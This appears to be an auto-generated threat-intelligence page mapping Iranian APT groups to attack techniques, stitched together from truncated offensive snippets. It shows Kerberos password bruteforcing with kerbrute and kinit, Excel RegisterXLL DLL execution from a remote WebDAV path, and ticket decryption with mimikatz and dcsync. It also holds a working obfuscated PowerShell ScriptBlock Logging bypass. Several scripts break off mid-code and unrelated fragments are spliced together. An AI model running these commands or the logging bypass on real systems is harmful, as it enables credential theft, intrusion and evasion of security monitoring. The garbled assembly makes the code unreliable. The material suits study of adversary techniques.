curi0usJack

Overview

The following content is generated using a preview release of Swimlane's pyattck.

This snippet of data is scoped to the following actor groups:

APT33
APT34
APT39
Charming Kitten

Kerberos cheatsheet

Bruteforcing

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

	#!/usr/bin/env python

	# for more info: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
	# this is a rough PoC

	# requirements for RCE:
	# - the attacker needs to either have or create an object with a service principal name
	# - the MSSQL server has to be running under the context of System/Network Service/a virtual account
	# - the MSSQL server has the WebClient service installed and running (not default on Windows Server hosts)
	# - NTLM has to be in use

	#!/usr/bin/env python

	import argparse
	import sys
	import string
	import random

	# https://support.microsoft.com/en-au/help/243327/default-limit-to-number-of-workstations-a-user-can-join-to-the-domain
	# create machine account utility by @3xocyte
	# with thanks to Kevin Robertson for https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1

	using System;
	using System.Collections.Generic;
	using System.IO;
	using System.Linq;
	using System.Management;

	namespace ComAbandonment
	{
	public class ComAbandonment
	{

	#!/usr/bin/env python2
	# NOTE: this script was created for educational purposes to assist learning about kerberos tickets.
	# Likely to have a few bugs that cause it to fail to decrypt some TGT or Service tickets.
	#
	# Recommended Instructions:
	# Obtain valid kerberos tickets using Rubeus or mimikatz "sekurlsa::tickets /export"
	# Optionally convert tickets to ccache format using kekeo "misc::convert ccache <ticketName.kirbi>"
	# Obtain appropriate aes256 key using dcsync (krbtgt for TGT or usually target computer account for Service Ticket)
	# Run this script to decrypt:
	# ./decryptKerbTicket.py -k 5c7ee0b8f0ffeedbeefdeadbeeff1eefc7d313620feedbeefdeadbeefafd601e -t ./[email protected][email protected]

	#!/bin/bash

	# Title: kinit_brute.sh
	# Author: @ropnop
	# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
	# The script configures the realm and KDC for you based on the domain provided and the domain controller
	# Since this configuration is only temporary though, if you want to actually use the TGT you should actually edit /etc/krb5.conf
	# Only tested with Heimdal kerberos (error messages might be different for MIT clients)
	# Note: this will lock out accounts if a domain lockout policy is set. Be careful

	# ScriptBlock Logging Bypass
	# @cobbr_io

	$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
	If ($GroupPolicyField) {
	$GroupPolicyCache = $GroupPolicyField.GetValue($null)
	If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
	}

	function Get-InjectedThread
	{
	<#

	.SYNOPSIS

	Looks for threads that were created as a result of code injection.

	.DESCRIPTION